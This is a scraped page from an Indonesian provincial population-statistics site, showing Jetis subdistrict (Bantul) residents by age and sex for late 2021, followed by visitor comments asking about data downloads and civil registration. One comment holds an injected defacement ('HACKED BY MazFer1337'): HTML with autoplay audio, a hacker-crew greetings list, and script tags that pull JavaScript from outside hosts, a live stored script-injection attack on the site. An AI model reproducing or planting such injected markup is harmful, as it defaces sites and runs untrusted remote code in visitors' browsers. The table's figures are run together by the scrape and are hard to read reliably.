Statistik Penduduk D.I. Yogyakarta

Pilih Periode :
Pilih Jenis Data :
Pilih Menurut :
Provinsi :
Pilih Kabupaten :
Pilih Kecamatan :

Tampilkan Data

SEMESTER II 2021

Jumlah Penduduk KECAMATAN JETIS, KABUPATEN BANTUL, D.I Yogyakarta SEMESTER II 2021
Menurut Golongan Usia 1

Silakan Login atau Daftar untuk mengunduh berkas
UsiaPATALANCANDENSUMBER AGUNGTRIMULYOTotal
LPL + PLPL + PLPL + PLPL + PLPL+P
<= 1 tahun136126 262118128 246171160 331210190 400635 604 1.239
2 tahun6565 1309383 176110105 215149105 254417 358 775
3 tahun8374 1579883 181115122 237135144 279431 423 854
4 tahun9179 1707363 13612488 21213997 236427 327 754
5 tahun9173 1648671 15798102 200133106 239408 352 760
6 tahun10184 18510081 18197107 204149129 278447 401 848
7 tahun9876 1748093 173132109 241154135 289464 413 877
8 tahun8691 1779768 165134122 256132123 255449 404 853
9 tahun9478 1728380 163113122 235158147 305448 427 875
10 tahun11082 19210899 207118111 229154178 332490 470 960
11 tahun8475 1599378 17110696 202139138 277422 387 809
12 tahun9396 18910883 191122108 230155162 317478 449 927
13 tahun10388 1919195 186101100 201165139 304460 422 882
14 tahun7589 16411679 195124137 261134148 282449 453 902
15 tahun8289 1718187 168104115 219148133 281415 424 839
16 tahun10273 1758073 15389102 191148133 281419 381 800
17 tahun6472 1366482 14675100 175130101 231333 355 688
18 tahun8986 1757981 160124104 228154134 288446 405 851
19 tahun8282 1648376 15912287 209136147 283423 392 815
20 tahun7870 1488588 17387100 187132125 257382 383 765
21 tahun7770 1477590 165103112 215138132 270393 404 797
22 tahun8294 1769268 16088108 196119126 245381 396 777
23 tahun7769 1467884 1629087 177126135 261371 375 746
24 tahun6878 1467362 1359589 184124134 258360 363 723
25 tahun8395 1787978 15710195 196103114 217366 382 748
26 tahun7798 1758381 164118124 242150161 311428 464 892
27 tahun9782 1798182 163104112 216127109 236409 385 794
28 tahun9074 1647482 156121120 241128139 267413 415 828
29 tahun8089 1697484 158113105 218140144 284407 422 829
30 tahun7891 1698791 17898124 222115139 254378 445 823
31 tahun10789 1969495 189100101 201143117 260444 402 846
32 tahun8180 1619484 17811999 218140127 267434 390 824
33 tahun8780 1679383 176114119 233133141 274427 423 850
34 tahun9190 1819090 18011897 215135142 277434 419 853
35 tahun6789 1567880 158123112 235115137 252383 418 801
36 tahun9184 17510280 182126109 235160140 300479 413 892
37 tahun87105 1929679 175116151 267147151 298446 486 932
38 tahun10376 17986107 193134128 262158159 317481 470 951
39 tahun110111 22198115 213142130 272200160 360550 516 1.066
40 tahun10084 184100101 201133117 250163140 303496 442 938
41 tahun10076 17610288 190107125 232151159 310460 448 908
42 tahun8489 1738692 178122112 234140148 288432 441 873
43 tahun9893 1917798 175120112 232165133 298460 436 896
44 tahun80109 1899194 185116114 230154155 309441 472 913
45 tahun8083 1638187 168108118 226139134 273408 422 830
46 tahun9289 1819780 177110102 212159150 309458 421 879
47 tahun8976 1657785 162126107 233131143 274423 411 834
48 tahun8184 1659881 17996103 199142150 292417 418 835
49 tahun10880 1889092 182102111 213120139 259420 422 842
50 tahun6873 1417584 15993110 203142115 257378 382 760
51 tahun6495 1599884 182104102 206129132 261395 413 808
52 tahun8781 16888110 198125117 242124157 281424 465 889
53 tahun77108 1859285 177108118 226138145 283415 456 871
54 tahun77100 17710376 17911594 209126111 237421 381 802
55 tahun8391 1748589 17489122 211107114 221364 416 780
56 tahun8397 1808287 169100112 212127146 273392 442 834
57 tahun8883 1718380 16395115 210112123 235378 401 779
58 tahun8699 1858878 1667697 173120129 249370 403 773
59 tahun8579 1649491 185107120 227111115 226397 405 802
60 tahun5669 1255268 1206787 1549784 181272 308 580
61 tahun8492 1769894 192126123 249100104 204408 413 821
62 tahun7884 1626666 1329993 19286103 189329 346 675
63 tahun6667 1335869 127104112 2169393 186321 341 662
64 tahun6160 1215658 1146372 1358072 152260 262 522
65 tahun5863 1214954 1037578 1538983 172271 278 549
66 tahun4148 894751 986553 1187667 143229 219 448
67 tahun4965 1145349 1026563 1286960 129236 237 473
68 tahun3537 724826 745440 945736 93194 139 333
69 tahun3948 873932 715654 1106344 107197 178 375
70 tahun3631 673828 663423 573036 66138 118 256
71 tahun3537 723850 883251 834449 93149 187 336
72 tahun3038 682327 503133 642344 67107 142 249
73 tahun2124 452325 483134 652531 56100 114 214
74 tahun1519 341224 362130 511229 4160 102 162
75 tahun1622 381218 301737 541822 4063 99 162
76 tahun1534 492446 702145 662942 7189 167 256
77 tahun2334 571418 322234 562139 6080 125 205
78 tahun1717 342424 483224 561325 3886 90 176
79 tahun1620 362227 492924 532229 5189 100 189
80 ke atas101162 26384160 244142196 338112218 330439 736 1.175
Jumlah6.0426.13212.1746.1106.06212.1727.7277.85315.5809.4149.36918.783 29.293 29.416 58.709
sumber DKB Ditjen Dukcapil Kemendagri, diolah Biro Tata Pemerintahan Setda DIY

Silahkan Login atau Daftar untuk mengirim komentar anda

Komentar

data ditemukan sekitar 130 komentar.

Catatan:
- Untuk nomor yang lebih dari 5 digit akan diubah menjadi (number) untuk menjaga kerahasiaan.
- Hanya admin yang dapat melihat isi dari (number).

Asal komen


HACKED BY MazFer1337



html
-- UnknownSec AnonSec Team --
head
titleHacked By MazFer1337title
link relicon hrefhttpsi.top4top.iop_2484lzx6y0.jpg typeimagex-icon
meta namedescription contentwh00pz your security get down
link hrefhttpsfonts.googleapis.comcss2?familyBaumans relstylesheet
link relstylesheet hrefhttpsunknownsec.ameera.co.idassetsflash.css
head
style
body
color FFFFFF
font-family Kelly Slab sans-serif
font-weight 90
height 80vh
margin 0
background-color black

.full-height
height 120vh

.flex-center
align-items center
display flex
justify-content center

.position-ref
position relative

.content
text-align center

style


table width100% height100%
td aligncenter
img altXinixtar 31 srchttpsi.top4top.iop_2484lzx6y0.jpg width300px
h2Pwd? By MazFer1337 Ft RendySech2
h4wh00pz your security get downh4
h4-font colorreduvvufont-brAnon7 - L4N4N9_4K1R4 - Rayzky_ - .meicookies - exa_gans77 - VenoRyan - MR.HAGAN_4040CR4ZY - PohonSagu - .s3nt1n3L - DemonArmy -.MungielL - Nzxsx7 - .G1L4N6_ST86 - kuroaMEpiKAcyu font colorredUnknownSecfont - xinixtar 31 - Hilusion.id - Rao Cyber Team - Sora Cyber Team - indoXploith4
audio srchttpsk.top4top.iom_19562h8em0.mp3 loop1 autoplay1audio
h4-font colorredGreetzfont-brAnonSec Teamh4
div classxCopyright copy 2020 - a hrefmailtocandydevzemzar.netUnknownSecadiv
body
script srchttpsunknownsec.ameera.co.idassetspace.min.jsscript
html


script typetextjavascript srchttpsfakhrysenpai.my.idtoolspentestjso-creatorpasteyTvXi5.txtscript


data jumlah penduduk hargotirto overall sekitar 7.144 orang jumlah penduduk ini setelah dibreakdown berdasarkan jenis pekerjaan menjadi 5.931 orang. terdapat selisih 1.213 orang. kalau ingin mendapatkan penjelasan lebih lanjut kami menghubungi ke nomor mana ya pakbu admin? matur nuwun


lap baik


dimana saya mendapatkan data penduduk per desa?


h1bagush1


bagus


gimana cara mendapatkan data


Perihal saudra sya ada sdikit gangguan jiwa..mkaya dari dulu kog KK dn ktp udah di bisa aktif...mohon dengn dlsangat bantuan ya..


Mohon bantuan dari dukcapil untuk menghidupkan kembali KK dn ktp saudra sya..untuk slanjutya bagaimana harus k kantor apa cukup di kec dn Kel...makasih sblum ya ..


Maaf min, ko data penduduk berdasarkan jenis pekerjaan untuk tiap tahunnya sama semua min, padahal awal tahun kemarin saya buka tiap tahunnya berbeda jumlahnya, ko sekarang dibuka malah ga sinkron ya, mohon perhatian dan diperbaiki, maturnuwun


Data penduduk per desa di setiap kecamatan berdasarkan kelompok umur gak bisa.....mhn tindak lanjut


Mengapa tidak dapat di download ya?


TIDAK BISA DI DOWNLOAD


tidak pernah bisa update. sungguh terlalu


sangat bermanfaat


sangat bermanfaat


sedikit saran tbh perinci sampai data rt dan rw lebih bagus sekali, terima kasih


mak nyuuuussss


bagaimana cara download atau copy data


saya mau download ngga bisa.....thanks


sangat membantu


aku ganteng


Mohon maaf Bapak Ibu admin, apakah ada data penduduk kecamatan kokap menurut jenis kelamin tahun 2012-2013? Karena pilihan yang tersedia hanya sampai tahun 2014. Mohon informasinya. Terimakasih


maaf saya ingin melihat jumlah penduduk berdasarkan usia dilihat dari masing-masing desa di Kab Bantul hari ini, namun kok keluarnya perkecamatan ya? mohon bantuannya terima kasih


tadi saya menanyakan ini
"mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih"
dan saya sudah mendapatkan jawabannya dari sini
"Yang tampil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya." jawaban dari pertanyaan @Elia Ika Rahmawati

terimakasih


mohon bantuan
bagaimana cara mengunduh data jumlah penduduk berdasarkan usia?
terimakasih


maaf admin, apakah saya bisa meminta data jumlah penduduk menurut golongan umur desa banyusoco, kec.playen, kab.gunungkidul?


Maaf vapakan saya bisa minta jumlah penduduk kec sleman kab sleman berdasarkan golongan umur ?


admin mohon bantuannya...
saya butuh data (KK) yang ada disekita pembangunan kampus 2 UIN sunan kalijaga.
kalau bisa data yang terbaru ya admin..
terima kasih atas kesempatannya


Mohon maaf Bapak Ibu admin, apakah ada data penduduk menurut jenis pekerjaan yang tahun 2012 2013? Karena pilihan yang tersedia tahun terlama sampai 2014. Mohon informasinya. Terimakasih


selamat siang admin, kok tidak bisa di unduh kenapa ya? untuk yang berdasar pendidikan, di kelurahan kecamatan mergangsan


mohon maaf untuk melihat data penduduk kauman saja berdasarkan pekerjaan saja bisa tidak ya min? dari RW 10-13 Kauman. Mohon bantuannya untuk penelitian
Admin menjawab 09.10.18
Silakan minta ke kelurahan.

Mohon maaf Bapak Ibu admin, apakah ada data jumlah penduduk DIY yang didasarkan pada usia, pekerjaan, pendidikan, dan status sosial ekonomi? Karena setelah saya cari2 hanya ada data jumlah penduduk berdasarkan jenis kelamin saja. Mohon informasinya. Terimakasih.
Admin menjawab 09.10.18
Yang tempil pertama memang menurut jenis kelamin saja. Tapi kan ada kolom baris pilih menurut.......untuk mencari variasi statistiknya.

Mohon bantuanya untuk jumlah kk desa prayan kulon soropadab
Untuk keperluan report laporan toko alfamart jembatan merah..


mohon di bantu untuk pencarian orang atas nama JUMADI ( ayah ) umur sekitar 58 tahun, pernah menikah dengan MISTUN asal dari MALANG, ciri2 badan kecil kira2 tinggi 150 cm, kulit hitam dan berkumis tebal. mohon jika ada info bisa Hub, atas nama Endik Purwanto ..WA (number) ( anak kandung )


Kenapa tdk bs di unduh ya?


mohon bantuan jumlah penduduk kelurahan tegalrejo, menurut jenis kelamin, usia, pendidikan, pekerjaan untuk membuat monografi. terimakasih


Min mohon bantuanya , apakah ada data jumlah penduduk rw7 dan rw8 kelurahan tegalrejo untuk membuat monografi. Terimakasih


Min apakah ada data jumlah penduduk gampingan tiap rw nya? Mohon bantuannya min untuk tugas penelitian, makasiih :))


maaf, mau tanya jumlah pasangan usia subur di kecamatan ngemplak tahun 2016 berapa nggeh?


Min saya mau tanya jumlah remaja di cangkringan berapa ya?


Apakah saya bisa mendapatkan data jumlah penduduk di Desa Maguwoharjo , jenis kelamin perempuan usia 17-70 tahun?


maaf min mau nanya bole minta data kemiskinan di setiap kecamatan Kota Yogyakarta?


min. kalau data peduduk pendatang di kecamatan banguntapan bisa disownload atau diperoleh dimana ya? makasih


min, status kependudukan saya kan dinonaktifkan kalau ingin mengurus ke dukcapil sleman berkas apa saja yang harus dibawa? terimakasih


Mau tanya jumlah kk dalam kelurahan triharjo ada berapa ya


Selamat siang, bagaimana cara menghitung penduduk pertengahan tahun? misalkan yang mau saya hitung data penduduk tahun 2006. terimakasih